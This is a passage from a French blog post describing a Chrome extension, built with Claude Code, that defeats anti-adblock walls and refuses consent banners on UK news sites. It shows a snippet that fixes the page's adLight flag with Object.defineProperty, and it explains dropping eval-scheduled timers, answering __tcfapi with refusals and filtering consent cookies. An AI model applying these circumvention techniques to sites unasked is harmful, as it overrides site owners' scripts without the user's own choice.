Comité européen de la protection des données a dit que pour les grandes plateformes qui ne proposent que ces deux options, dans la plupart des cas il ne le sera pas11. Je ne prétendrai pas que le régulateur l\u0026rsquo;a interdit. Il ne l\u0026rsquo;a pas fait.\nAlors voici où j\u0026rsquo;en arrive, sans détour. J\u0026rsquo;ai choisi de retirer le mur et de refuser le consentement. Cela veut dire que je lis l\u0026rsquo;article sur la branche gratuite, sans payer et sans remettre mes données à 1 467 entreprises. C\u0026rsquo;est une décision. L\u0026rsquo;extension le dit sur sa propre page de réglages, et je ne la déguise pas en quelque chose de neutre. Un consentement que vous ne pouvez pas refuser est un prix, et je ne paierai pas un prix déguisé en question.\nRetirer la boîte, c\u0026rsquo;est le tiers facile. Les deux autres tiers sont dans Répondre correctement à la question du consentement, parce qu\u0026rsquo;une bannière qu\u0026rsquo;on supprime sans répondre revient à chaque fois.\nUn jour, huit commits L\u0026rsquo;ensemble a été construit en une journée. Quelques heures à fouiller des pages avant le moindre commit, puis huit commits entre 20:32 et 22:50. Je l\u0026rsquo;ai construit avec Claude Code, et une bonne partie du travail ingrat, lire du script inline obscurci ligne par ligne, a été faite par l\u0026rsquo;agent pendant que je regardais ce que les pages faisaient à l\u0026rsquo;écran. Ce partage a bien fonctionné, et là où il a déraillé, c\u0026rsquo;est plus bas, parce qu\u0026rsquo;il a déraillé d\u0026rsquo;une façon qui mérite d\u0026rsquo;être connue.\nHeure Commit 20:32 premier commit : Newsquest, notebookcheck, National World, Reach, Page Six 20:46 le fournisseur derrière chaque mécanisme, consigné dans le README 20:56 50 liens de la une de Google News, comme échantillon non choisi 21:02 répondre à l\u0026rsquo;API de consentement avec chaque finalité refusée 21:11 liens sociaux désamorcés 22:50 protections désactivables, MSN et Bing, refus du consentement par clic, 77 tests C\u0026rsquo;est une extension Manifest V3 avec deux permissions, declarativeNetRequest et storage, sans permission d\u0026rsquo;hôte et sans accès réseau propre, elle ne peut donc rien récupérer, réécrire aucune réponse ni parler à aucun serveur à votre place. Cette contrainte a façonné la conception plus que tout le reste, parce que le travail intéressant doit se faire à l\u0026rsquo;intérieur de la page.\nDeux mondes, un attribut qui descend et un événement qui remonte Le code de la page et les réglages de l'extension vivent dans des mondes différents Stockage de l'extension chrome.storage.local protections canaux de traçage réglages sociaux 50 dernières erreurs lu et écrit par la page de réglages Monde isolé bridge.js social.js portal.js peut lire chrome.storage ne peut pas toucher aux fonctions de la page Monde de la page (MAIN) walls.js guard.js portal-early.js enveloppe setTimeout, cookie, __tcfapi, window.adLight aucun chrome.* Descend : un attribut sur l'élément html, seulement ce qui est coupé \u0026lt;html data-ktp-off=\"cookies,dom\"\u0026gt; installation par défaut : rien d'écrit Remonte : un événement ktp-report detail : une chaîne JSON un objet ne passe pas de façon fiable Chrome exécute les scripts d\u0026rsquo;extension dans deux mondes. Le monde de la page atteint le JavaScript de la page mais n\u0026rsquo;a aucune API d\u0026rsquo;extension. Le monde isolé peut lire les réglages mais ne peut pas toucher aux fonctions de la page. Tout passe de l\u0026rsquo;un à l\u0026rsquo;autre sous forme d\u0026rsquo;un attribut qui descend et d\u0026rsquo;un événement qui remonte. Le monde MAIN de Chrome partage l\u0026rsquo;environnement JavaScript de la page12. Un script qui s\u0026rsquo;y trouve peut remplacer setTimeout, envelopper document.cookie ou définir window.adLight avant la page, et c\u0026rsquo;est exactement ce qu\u0026rsquo;il faut pour combattre ces murs. En pratique, il ne peut pas appeler chrome.storage. Le monde isolé le peut, mais ne voit pas les fonctions de la page. Alors un petit pont lit les réglages et les écrit sur \u0026lt;html\u0026gt;, et les erreurs remontent sous forme d\u0026rsquo;un CustomEvent dont le détail est une chaîne JSON, parce qu\u0026rsquo;un objet ne traverse pas cette frontière de façon fiable.\nL\u0026rsquo;attribut qui descend ne liste que ce que vous avez désactivé. Une installation par défaut n\u0026rsquo;écrit rien du tout dans la page. C\u0026rsquo;est important, parce qu\u0026rsquo;un marqueur permanent sur \u0026lt;html\u0026gt; est précisément le genre de chose que ces SDK recherchent, et parce qu\u0026rsquo;une panne du stockage échoue alors du côté de la défense de la page plutôt que de l\u0026rsquo;autre.\nTrouver la porte, ne pas combattre le mur Le correctif Newsquest tient en deux lignes de raisonnement, et c\u0026rsquo;est celui à l\u0026rsquo;aune duquel tout le reste a été mesuré.\nTout leur mur tient derrière un seul drapeau dans la page :\nvar adLight = false; // line 1647 if (adLight !== true) { …} // line 2020: loader, eval payload, confirm() adLight est le drapeau abonné « peu de publicité ». S\u0026rsquo;il est vrai, le mur ne se construit jamais. Alors l\u0026rsquo;extension définit window.adLight à true à document_start, avant que le propre script de la page ne s\u0026rsquo;exécute, avec un mutateur qui ignore ce qu\u0026rsquo;on y écrit :\nObject.defineProperty(window, \u0026#39;adLight\u0026#39;, { configurable: false, enumerable: true, get() { return true; }, set() { /* ignore the page\u0026#39;s \u0026#34;false\u0026#34; */ } }); Un var en tête de script ne redéfinit pas une propriété que l\u0026rsquo;objet global possède déjà. Il ne fait que lui affecter une valeur13. Donc le var adLight = false de la page s\u0026rsquo;exécute, tombe sur le mutateur et ne fait rien. Le chargeur du mur ne démarre jamais, la charge eval n\u0026rsquo;arrive jamais, et il n\u0026rsquo;y a aucun contrôle anti-altération à déclencher, parce que rien n\u0026rsquo;a été altéré. Le drapeau a simplement dit oui.\nC\u0026rsquo;est la seule propriété de toute l\u0026rsquo;extension qui n\u0026rsquo;est pas configurable. Elle doit l\u0026rsquo;être pour survivre à la déclaration. Tout le reste est configurable: true, pour qu\u0026rsquo;aucune page ne se voie jamais confisquer définitivement une de ses propres API.\nIl couvre 269 titres et ne peut pas être désactivé dans les réglages, qui disent pourquoi : il s\u0026rsquo;exécute avant que chrome.storage puisse répondre, et une fois posé il ne peut pas être annulé. Une case à cocher serait de la décoration.\nChaque correctif qui a empiré les choses C\u0026rsquo;est la section utile, parce que chaque erreur ici est la chose évidente qu\u0026rsquo;on essaie.\nCe que j\u0026rsquo;ai essayé Ce qui s\u0026rsquo;est passé Bloquer l\u0026rsquo;hôte du chargeur l\u0026rsquo;hôte est un CNAME first-party aléatoire par titre, et une requête échouée est elle-même le signal de détection Surveiller setAttribute sur les scripts injectés a déclenché le contrôle de relecture de Sourcepoint, qui a ouvert le dialogue qu\u0026rsquo;on voulait empêcher Répondre au confirm() par Annuler dans ce SDK, Annuler veut dire recharger, d\u0026rsquo;où une boucle de rechargement infinie Sauvegarder \u0026lt;body\u0026gt; à DOMContentLoaded pour le restaurer plus tard le mur vide la page pendant l\u0026rsquo;analyse, la sauvegarde était donc celle d\u0026rsquo;un body vide Surveiller remove() et removeChild() le mur efface la page d\u0026rsquo;un seul innerHTML = '', pas nœud par nœud Tout surveiller à la fois sur notebookcheck le mur a escaladé vers un dialogue, puis une boucle de rechargement, nettement pire que ne rien faire Rediriger l\u0026rsquo;hôte du fournisseur vers un bouchon local une règle redirect avec seulement declarativeNetRequest a invalidé tout le jeu de règles, tuant en silence la règle Newsquest sur 269 sites Faire tourner les gardes de page sur tous les sites a patché des prototypes globaux sur chaque page visitée, y compris celle de ma banque La redirection mérite un second regard. Chrome donne à une règle block un accès implicite et exige une permission d\u0026rsquo;hôte pour tout le reste14. Sa documentation dit que les règles statiques invalides sont ignorées15. Ce que j\u0026rsquo;ai vu était pire : tout le fichier est parti, sans aucune erreur sur la page, et la règle 1 a simplement cessé d\u0026rsquo;exister sur 269 sites. Les deux règles pour MSN vivent donc désormais dans un jeu de règles à part, pour qu\u0026rsquo;une mauvaise modification de l\u0026rsquo;un n\u0026rsquo;emporte pas l\u0026rsquo;autre.\nLa boucle de rechargement a enseigné l\u0026rsquo;autre règle dure. location.reload ne peut pas être intercepté. L\u0026rsquo;objet Location est infalsifiable dans le standard HTML16, ses méthodes ne sont donc ni modifiables ni configurables, et l\u0026rsquo;essayer donne :\nObject.defineProperty(location,\u0026#39;reload\u0026#39;,...) -\u0026gt; TypeError: Cannot redefine property: reload Un mur dont le chemin d\u0026rsquo;échec est « recharger la page » ne peut plus être arrêté une fois engagé sur ce chemin. Par rien. Le seul correctif est de faire en sorte qu\u0026rsquo;il n\u0026rsquo;y arrive jamais. C\u0026rsquo;est la même leçon qu\u0026rsquo;avec adLight, apprise à la dure : chaque tentative de combattre un mur déjà lancé a empiré les choses, et chaque correctif qui a marché a empêché le mur de démarrer.\nUne seule minuterie a fait les dégâts notebookcheck n\u0026rsquo;a pas d\u0026rsquo;adLight. Le mur tourne toujours. Avec le traçage activé, l\u0026rsquo;extension a montré ce qu\u0026rsquo;il planifiait :\ndropped setTimeout(7005ms) scheduled from eval \u0026lt;- the body.remove() dropped setTimeout(1251ms) / 105ms / 0ms x8 dropped setInterval(15000ms) Une de ces minuteries fait tous les dégâts : celle à 7 secondes qui retire \u0026lt;body\u0026gt;. Tout ce qui suit est une réaction, parce que la page vide lève une erreur, l\u0026rsquo;exception ouvre le dialogue, le dialogue recharge la page, et tout recommence depuis le début avec une nouvelle série de minuteries.\nLe correctif est donc une seule règle. Abandonner une minuterie si elle a été planifiée depuis du code passé par eval, si la page porte la signature de ce SDK et si le gestionnaire est une fonction. La pile dit d\u0026rsquo;où vient un appel, et eval y laisse sa marque.\nbefore: 4 page loads, 3 confirms, reload loop after: 1 page load, 0 confirms, alive 40,378ms, content intact Une minuterie, et tout ce qui en découle notebookcheck : une minuterie fait les dégâts, le reste est réaction Tel que servi article et CSS arrivent, affichés chargeur depuis html-load.com charge eval planifie des minuteries 7,0s : la minuterie part body.remove() la page vide lève, confirm() ouvert la page recharge et tout recommence 4 chargements, 3 dialogues, boucle de rechargement Avec l'extension article et CSS arrivent, affichés chargeur depuis html-load.com charge eval planifie des minuteries chaque minuterie eval abandonnée d'emblée 1 chargement, 0 dialogue, vivante à 40 secondes notebookcheck sans et avec l\u0026rsquo;extension. Rien en aval de la minuterie des 7 secondes n\u0026rsquo;a besoin d\u0026rsquo;être corrigé, parce que rien de tout cela n\u0026rsquo;arrive une fois cette minuterie abandonnée. Il y avait à ce moment deux autres mécanismes dans le build, une redirection du chargeur vers un bouchon et un élément leurre pour absorber les écritures du mur. Les deux marchaient, et les deux soignaient des symptômes de cette seule minuterie, ce qui n\u0026rsquo;est devenu évident qu\u0026rsquo;en testant la règle des minuteries seule, qui s\u0026rsquo;est révélée suffisante. Les deux sont donc partis, et avec eux une permission et toutes les permissions d\u0026rsquo;hôte. Testez toujours si le dernier changement suffit à lui seul avant de garder l\u0026rsquo;échafaudage autour.\nLa signature est l\u0026rsquo;attribut data-sdk sur la balise du chargeur, et elle correspond à une forme, l/\u0026lt;n\u0026gt;.\u0026lt;n\u0026gt;, plutôt qu\u0026rsquo;à une version. Trois versions sont apparues en une journée. Elle s\u0026rsquo;enclenche et ne met jamais un négatif en cache, parce que la balise du chargeur n\u0026rsquo;est peut-être pas encore analysée quand les premières minuteries sont planifiées, et un « non » mémorisé la désarmerait pour de bon sur une page qui porte bien le mur.\nLa mesure disait que tout allait bien. L\u0026rsquo;écran, non. The Scotsman et le Yorkshire Post ont été déclarés réparés sur la foi d\u0026rsquo;une mesure qui comptait le texte. La page en avait 8 808 caractères, 22 éléments sous \u0026lt;body\u0026gt;, stables à 2, 8 et 16 secondes. Selon cette mesure, elle était intacte.\nElle ne l\u0026rsquo;était pas. Je la regardais, et chaque feuille de style avait disparu, les liens formaient une liste brute, le logo SVG remplissait l\u0026rsquo;écran et il y avait une barre de défilement horizontale. Tous les mots étaient là, et c\u0026rsquo;est tout ce que cette mesure pouvait voir. J\u0026rsquo;ai dû montrer l\u0026rsquo;écran du doigt et le dire.\nCe que la mesure a vu, et ce qu'il y avait à l'écran Yorkshire Post avant le correctif : la même page, mesurée de deux façons Ce que la mesure a compté innerText.length8 808 enfants de body22 à 2s, 8s, 16sinchangé Verdict : intacte Ce qu'il y avait à l'écran document.styleSheets.length0 liens en liste brute, logo pleine largeur, une barre de défilement horizontale Verdict : cassée Décapeur abandonné dès sa planification : 2 feuilles de style, 532 règles, la page s'affiche La même page, mesurée de deux façons. La longueur du texte disait que la page allait bien. Le nombre de feuilles de style disait qu\u0026rsquo;elle était cassée, et c\u0026rsquo;est le nombre de feuilles de style qui avait raison. La cause était le décapeur du premier tableau, et il ne correspondait pas à la règle des minuteries, parce que c\u0026rsquo;est un script inline ordinaire et non de l\u0026rsquo;eval. Sa propre source est donc la signature : une tâche répétée dont le corps appelle querySelectorAll('link,style') puis remove(). Rien de légitime ne fait cela. Il est abandonné dès sa planification, rien n\u0026rsquo;est jamais décapé et rien n\u0026rsquo;a besoin d\u0026rsquo;être restauré. Le Yorkshire Post est passé de 0 feuille de style à 2, avec 532 règles, et la page s\u0026rsquo;est affichée.\nPour le trouver, il a fallu une trace de pile, pas une supposition. Patchez Element.prototype.remove pour journaliser la pile chaque fois qu\u0026rsquo;il retire un STYLE ou un LINK, et il a nommé le script inline et le forEach du premier coup.\nEnsuite, document.styleSheets.length est entré dans chaque vérification. Une page sans feuille de style est cassée, quelle que soit la quantité de texte. Mesurer est plus difficile qu\u0026rsquo;on ne le croit, et voici les pièges dans lesquels le build est tombé ce jour-là :\nPiège Ce qu\u0026rsquo;il disait Ce qui était vrai longueur du texte comme contrôle de rendu « intacte » balisage sans style un seul échantillon après le chargement murs Reach « absents » sur huit titres le mur vit environ 600ms et avait déjà été balayé console vide après la navigation « la garde ne se déclenche pas » les messages de chargement ne survivent pas à la navigation échantillons à 1s et 4s notebookcheck en bonne santé la page se vide entre 5 et 8 secondes cssRules compté entre origines ESPN avait 5 règles les feuilles d\u0026rsquo;autres origines lèvent une erreur, donc le compte est bas Le correctif pour le cas des 600ms est d\u0026rsquo;interroger toutes les 100ms dès le chargement de la page. Sur Wales Online, le mur est apparu à 425ms et avait disparu à 1 129ms.\nPuis les vérifications ont été faites pour de bon. 52 articles sur 26 domaines, deux par site, choisis pour couvrir chaque mécanisme : 52 sur 52 avec feuilles de style, aucun mur resté à l\u0026rsquo;écran, aucune boucle de rechargement. Puis 50 liens pris directement sur la une britannique de Google News, pas choisis par moi : 45 affichés normalement, 2 étaient des hôtes que mon Pi-hole bloque exprès, 1 était le vrai paywall du Times, et 2 étaient le même article atterri deux fois parce que Google reconstruit l\u0026rsquo;ordre des liens à chaque chargement. Aucun à zéro feuille de style. Trois titres de National World que je n\u0026rsquo;avais jamais testés sont apparus dans ce passage avec le même SDK, et tous les trois se sont affichés, et c\u0026rsquo;est à cela que sert de reconnaître une forme plutôt qu\u0026rsquo;une liste de sites.\nIl y a 77 tests unitaires, dans le dépôt avec tout le reste. Il n\u0026rsquo;y a pas de Node sur cette machine, ils tournent donc sur gjs, et ils chargent le vrai walls.js contre un DOM de substitution, pour que ce soient les motifs de production qui soient testés. Chacun a été vérifié en cassant ce qu\u0026rsquo;il protège et en le regardant passer au rouge. Ils ne testent que des décisions. Les passer ne veut pas dire qu\u0026rsquo;une page s\u0026rsquo;affiche, et le Scotsman est la raison pour laquelle cette phrase figure dans le README.\nRépondre correctement à la question du consentement Supprimer une bannière de consentement laisse la question sans réponse. Cela a deux conséquences, et la première est que la bannière est reconstruite à chaque chargement de page. Et un éditeur qui retient son contenu jusqu\u0026rsquo;à ce que l\u0026rsquo;API de consentement réponde restera simplement bloqué, tandis qu\u0026rsquo;un fournisseur qui n\u0026rsquo;obtient aucune réponse peut traiter la question comme jamais posée. Le silence n\u0026rsquo;est pas un refus.\nL\u0026rsquo;extension y répond donc, dans cet ordre :\nRefuser, répondre non, ne rien stocker, et seulement ensuite retirer Une bannière de consentement reçoit une réponse, pas seulement une suppression Le conteneur d'un fournisseur est à l'écran #qc-cmp2-container #onetrust-consent-sdk sp_message_container 1. Presser leur refus Reject all, Decline, Only essential, Continue without accepting libellé entier seulement, 40 caractères max correspond à Accept : le build échoue 2. Répondre à l'API : non __tcfapi chaque finalité, fonctionnalité et fournisseur refusés tcString \"\" tcloaded 3. Ne jamais stocker l'enregistrement euconsent-v2 addtl_consent OptanonConsent didomi_token écritures cookie et localStorage écartées Encore à l'écran au tic suivant ? oui : le retirer, débloquer le défilement non : le refus tient Trois réponses et un repli. Le bouton de refus est pressé s\u0026rsquo;il existe, on répond non à tout à l\u0026rsquo;API de consentement, l\u0026rsquo;enregistrement n\u0026rsquo;est jamais stocké, et seule une bannière encore debout au tic suivant est retirée. Elle appuie d\u0026rsquo;abord sur leur bouton de refus. Uniquement les boutons dont tout le libellé est un refus : « Reject all », « Decline », « Only essential », « Continue without accepting » et quelques autres, chacun ancré, tout ce qui dépasse 40 caractères ignoré. Un test unitaire lui donne « I Accept », « Accept All », « Agree and close », « Allow all », « Got it », « Subscribe » et « Pay £2.99/mo » et fait échouer le build si l\u0026rsquo;un d\u0026rsquo;eux correspond. Cliquer sur le mauvais bouton consentirait en votre nom, et c\u0026rsquo;est la seule chose que ce projet ne doit jamais faire. Sur msn.com, appuyer sur « Reject All » a fait disparaître la bannière de Microsoft, qui n\u0026rsquo;est pas revenue au rechargement, parce que Microsoft conserve le refus sur ses propres serveurs.\nElle répond non à l\u0026rsquo;API de consentement. Le cadre de l\u0026rsquo;IAB donne à chaque page qui recueille un consentement une fonction appelée __tcfapi pour demander ce que vous avez accepté17. Là où il y en a une, l\u0026rsquo;extension y répond avec chaque finalité, chaque fonctionnalité spéciale et chaque fournisseur refusés, une chaîne de consentement vide et eventStatus: 'tcloaded', ce qui veut dire que la réponse est définitive. Elle n\u0026rsquo;apparaît que là où un cadre de consentement est déjà présent, un site qui n\u0026rsquo;a jamais demandé ne la voit donc pas.\nElle ne stocke jamais l\u0026rsquo;enregistrement. document.cookie et localStorage écartent en silence euconsent-v2, addtl_consent, OptanonConsent, didomi_token et le reste, pour qu\u0026rsquo;un consentement que vous n\u0026rsquo;avez jamais donné ne soit jamais écrit ni rejoué auprès de 1 467 partenaires à la page suivante. Le droit britannique exige déjà un consentement avant que quoi que ce soit ne soit stocké sur votre appareil à cette fin18. L\u0026rsquo;extension fait respecter le non.\nChaque nom de cette liste est ancré aux deux bouts, et il y a une histoire derrière. Les cookies de Sourcepoint commencent par _sp_. Un motif paresseux sp_ attrape aussi sp_dc et sp_t de Spotify, qui sont la session de connexion, et m\u0026rsquo;aurait déconnecté de Spotify sur chaque page. Un test verrouille cela aussi.\nLe retrait est le repli. Seulement pour une bannière encore à l\u0026rsquo;écran après le clic, et seulement une bannière réellement affichée. Plusieurs fournisseurs laissent une enveloppe permanente dans la page, qu\u0026rsquo;une bannière soit affichée ou non. euronews garde un hôte Didomi de hauteur nulle, et l\u0026rsquo;arracher casse la page sans rien gagner. Celle de Reach se trouvait trois niveaux sous \u0026lt;body\u0026gt;, dans deux enveloppes qui ne sont pas elles-mêmes fixes, la vérification doit donc descendre jusqu\u0026rsquo;à la boîte qui l\u0026rsquo;est.\nBoutons de partage, et un portail qui ignore ses propres réglages Deux autres choses sur ces pages existent pour servir quelqu\u0026rsquo;un d\u0026rsquo;autre que le lecteur, et elles demandaient un traitement différent de celui des murs.\nBoutons de partage et de suivi. Chaque lien vers Facebook, Instagram, X, TikTok ou LinkedIn est réécrit en http://localhost/removeme, l\u0026rsquo;original rangé dans un attribut pour que rien ne se perde. Puis un second passage supprime ce qui est clairement du mobilier (une icône sans texte, « Share on X », tout ce qui se trouve dans un conteneur qui se dit share ou social) et masque le reste. Le marqueur est là pour qu\u0026rsquo;un seul sélecteur montre tout ce qui va partir, et un mode marquage seul s\u0026rsquo;arrête après le premier passage pour que vous puissiez regarder avant de lui faire confiance sur un site.\nLa version naïve casse les pages de trois façons, et chacune est désormais un test :\nVersion naïve Ce qu\u0026rsquo;elle casse Ce qui est fait à la place a[href*=\u0026quot;x.com\u0026quot;] attrape aussi netflix.com, linux.com, phoenix.com analyser l\u0026rsquo;hôte et comparer des libellés entiers retirer chaque lien social « Continue with Facebook » disparaît et des gens se retrouvent bloqués dehors liens de connexion, OAuth, juridiques et développeurs laissés tranquilles retirer un lien dans une phrase les mots partent avec masquer par défaut, une option le déballe et garde les mots Ce dernier est un compromis que j\u0026rsquo;ai fait en connaissance de cause. Une signature de la BBC se lit alors « follow BBC Manchester on , , and . ». J\u0026rsquo;ai regardé cela et choisi de masquer quand même. L\u0026rsquo;option qui garde les mots est là pour qui n\u0026rsquo;est pas d\u0026rsquo;accord.\nMSN et Bing. Les deux tournent sur les mêmes web components, environ 160 shadow roots sur la page d\u0026rsquo;accueil. Une simple requête sur le document a trouvé 1 lien. Parcourir les shadow roots en a trouvé 73, dont les tuiles Facebook et X. Ce qui ne les parcourt pas n\u0026rsquo;en voit presque rien.\nMSN a bien ses propres réglages de contenu. Ils sont conservés sur les serveurs de Microsoft, rattachés à un identifiant anonyme, pas dans un cookie, ils disparaissent donc après un effacement des cookies, dans un nouveau profil et en navigation privée. Ils n\u0026rsquo;atteignent pas du tout Bing. Et avec chacun d\u0026rsquo;eux désactivé et 11 700 pixels défilés, voici ce qu\u0026rsquo;il restait dans le flux :\nInterrupteur MSN, désactivé Toujours sur la page Casual Games la tuile Jeux Shopping des tuiles publicitaires pour Booking, Temu et eBay Comments 501 liens de commentaires Weather, Finance, Sports partis, jusqu\u0026rsquo;au prochain effacement des cookies Un interrupteur nommé Comments qui laisse 501 liens de commentaires sur la page est une affirmation faite à l\u0026rsquo;utilisateur, et une affirmation fausse. L\u0026rsquo;extension les retire donc elle-même, en ciblant les noms de composants stables de MSN plutôt que ses noms de classe, qui changent à chaque build.\nUne chose apprise là, qui vaut bien au-delà de MSN : retirer une image de la page ne l\u0026rsquo;empêche pas de se charger. Chrome lance la récupération dès que src est défini, même pour une image jamais insérée dans la page19. Le temps qu\u0026rsquo;un content script voie une carte, sa vignette est déjà sur le fil. Les données du flux sont donc bloquées aux deux points d\u0026rsquo;accès qui les servent, et jamais les hôtes d\u0026rsquo;images, parce que th.bing.com sert aussi la recherche d\u0026rsquo;images de Bing.\nEt le flux MSN clignote encore un instant à l\u0026rsquo;écran avant de disparaître. Quatre tentatives pour le masquer plus tôt ont toutes été mesurées comme efficaces, et aucune n\u0026rsquo;a arrêté le clignotement, ce qui veut dire que ce qui est peint n\u0026rsquo;est pas ce que l\u0026rsquo;extension masque. La page de réglages le dit clairement. Je préfère qu\u0026rsquo;elle le dise plutôt que de laisser entendre un chargement propre qu\u0026rsquo;elle ne livre pas.\nCe qu\u0026rsquo;elle ne fait pas Elle ne va pas Parce que ouvrir un vrai paywall si le serveur retient l\u0026rsquo;article, il reste retenu deviner pour un site un domaine n\u0026rsquo;entre qu\u0026rsquo;après que son mur y a été vu ; deux sites de News Corp supposés identiques à Page Six ne l\u0026rsquo;étaient pas, et sont ressortis toucher un site sans signature sur la BBC, chaque crochet est installé et rien n\u0026rsquo;est journalisé, aucune minuterie abandonnée, aucun nœud touché téléphoner à la maison aucune permission d\u0026rsquo;hôte, aucun accès réseau, aucune télémétrie ; le journal d\u0026rsquo;erreurs reste dans votre navigateur faire semblant le clignotement MSN n\u0026rsquo;est pas résolu, et une variante d\u0026rsquo;Ad-Shield, wp-ls/…, ne correspond pas encore ; sa page s\u0026rsquo;affichait bien, c\u0026rsquo;est donc consigné plutôt que corrigé au jugé Une page qu\u0026rsquo;on vous a envoyée est à vous Une fois qu\u0026rsquo;un serveur a envoyé une page à votre navigateur, cette copie est sur votre machine. Exécuter du code dessus ensuite pour la reprendre n\u0026rsquo;est pas un modèle économique que je reconnais. C\u0026rsquo;est le vieux tour qui consiste à vous vendre quelque chose et à garder la main dessus.\nLes journaux étaient autrefois une chose qu\u0026rsquo;on achetait et qu\u0026rsquo;on possédait ensuite : quelqu\u0026rsquo;un au coin de la rue avait une pile, vous tendiez l\u0026rsquo;argent, et le journal rentrait avec vous et était à vous, pour le lire, le plier, le prêter ou allumer le feu avec. Personne ne passait une heure plus tard à la maison découper la deuxième page parce que vous aviez sauté les publicités. La version web a donné le journal pour rien, puis a vendu le lecteur. D\u0026rsquo;abord aux annonceurs, puis aux 1 467 partenaires, et maintenant à un fournisseur dont tout le produit consiste à décider si vous vous êtes assez bien conduit pour garder ce qu\u0026rsquo;on vous a donné.\nCe que je n\u0026rsquo;arrive pas à digérer, c\u0026rsquo;est la feuille de style. Un journal qui laisse le serveur d\u0026rsquo;une régie décider si sa propre mise en page survit a cédé sa propre une. Il ne l\u0026rsquo;aura pas su, parce que personne à l\u0026rsquo;intérieur ne bloquait l\u0026rsquo;hôte, si bien que le premier à s\u0026rsquo;en apercevoir a été un lecteur avec un Pi-hole, devant une page pleine de liens bruts, à qui une boîte de dialogue disait que la faute était la sienne. Elle ne l\u0026rsquo;était pas.\nLe journalisme a un prix, et je n\u0026rsquo;ai aucun problème à le payer. Ce que je ne ferai pas, c\u0026rsquo;est laisser un script décider de ce que j\u0026rsquo;ai déjà. Cette ligne se trace dans mon navigateur, pas dans le leur.\nPi-hole documentation — « The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNewsquest — About us — « We are the leading local news publisher in the UK with a portfolio of more than 200 brands. » Des marques ne sont pas des domaines, d\u0026rsquo;où le chiffre plus élevé tiré des certificats.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDaily Business, 18 décembre 2024 — « National World, owner of The Scotsman and Yorkshire Post, has reached agreement on a £65.1 million takeover by Irish publisher Media Concierge. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nReach plc — About us, archivé le 5 septembre 2026 — « 120+ brands, from household names like the Mirror, Express, Daily Record and Daily Star, to local titles like MyLondon, BelfastLive and the Manchester Evening News ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDimova et al., « The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion », PETS 2021 — le CNAME cloaking « effectively bypasses antitracking measures that rely on fixed hostname-based block lists. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nuBlockOrigin/uAssets, ticket #30988, classé par les mainteneurs sous l\u0026rsquo;étiquette « Ad-Shield », avec le message servi depuis error-report.com : « Failed to load website properly since html-load.com is blocked. » Voir aussi Jacob Desforges, « Ad-Shield ad reinsertion », 12 avril 2026. L\u0026rsquo;attribution vient de la communauté des listes de filtres ; le fournisseur ne divulgue rien.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSourcepoint — Anti-adblock FAQs, archivé le 25 mai 2022 — « Historical experience shows on average about 30% of messaged users will turn off their adblockers. » La même page demande si « a CNAME applied to a 1st-party subdomain » empêcherait le blocage du script de détection.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAdExchanger, 16 août 2023 — « InMobi acquired Quantcast’s consent management platform, called Quantcast Choice ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUK GDPR, Article 7 — « utmost account shall be taken of whether, inter alia, the performance of a contract, including the provision of a service, is conditional on consent ». Considérant 42 : le consentement n\u0026rsquo;est pas librement donné « if the data subject has no genuine or free choice ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nICO — Consent or pay, publié le 23 janvier 2025 — « “Consent or pay” models can be compliant with data protection law if you can demonstrate that people can freely give their consent ». La page indique désormais que ces lignes directrices sont en révision à la suite du Data (Use and Access) Act.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEDPB Opinion 08/2024, adopté le 17 avril 2024 — « In most cases, it will not be possible for large online platforms to comply with the requirements for valid consent if they confront users only with a binary choice ». Il vise les grandes plateformes en ligne, pas les journaux régionaux.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChrome for Developers — content_scripts manifest key — « Choosing the \u0026ldquo;MAIN\u0026rdquo; world means the script will share the execution environment with the host page\u0026rsquo;s JavaScript. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nECMAScript — CreateGlobalVarBinding — « If a binding already exists, it is reused and assumed to be initialized. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChrome for Developers — declarativeNetRequest — « provides implicit access to allow , allowAllRequests and block rules », et sinon « you must request host permissions before you can perform any action on a host. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChrome for Developers — declarativeNetRequest — « Errors and warnings about invalid static rules are only displayed for unpacked extensions. Invalid static rules in packed extensions are ignored. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHTML Standard — the Location interface marque ses membres [LegacyUnforgeable], ce qui en Web IDL signifie « the property will be non-configurable and will exist as an own property on the object itself ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIAB Tech Lab — TCF v2 CMP API — « Every consent manager MUST provide the following API function: __tcfapi(command, version, callback, parameter) ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPECR, regulation 6 — « a person must not store information, or gain access to information stored, in the terminal equipment of a subscriber or user », avec le consentement comme condition dans Schedule A1, modifié par le Data (Use and Access) Act 2025.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHTML Standard — update the image data — s\u0026rsquo;exécute « whenever that element is created or has experienced relevant mutations », y compris quand son src est défini ; être dans le document n\u0026rsquo;est pas une condition.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/random/the-news-site-sent-me-the-article-then-deleted-it/","summary":"Newsquest, National World, Reach et d\u0026rsquo;autres envoient à votre navigateur l\u0026rsquo;article complet avec ses feuilles de style, puis exécutent du code commercial anti-adblock et de consentement qui vide la page, supprime chaque feuille de style toutes les 100ms ou la recouvre d\u0026rsquo;un choix entre 1 467 partenaires de pistage et 2,99 £ par mois. Ce billet montre ce que fait ce code, les quatre raisons pour lesquelles je l\u0026rsquo;appelle un malware, et l\u0026rsquo;extension Chrome construite en une journée pour garder la page : figer le drapeau adLight de Newsquest avant que le mur ne se construise, abandonner les minuteries planifiées depuis eval, tuer le décapeur de feuilles de style dès sa planification, et refuser le consentement proprement en répondant non à l\u0026rsquo;API TCF, en appuyant sur le propre bouton de refus du fournisseur et en ne 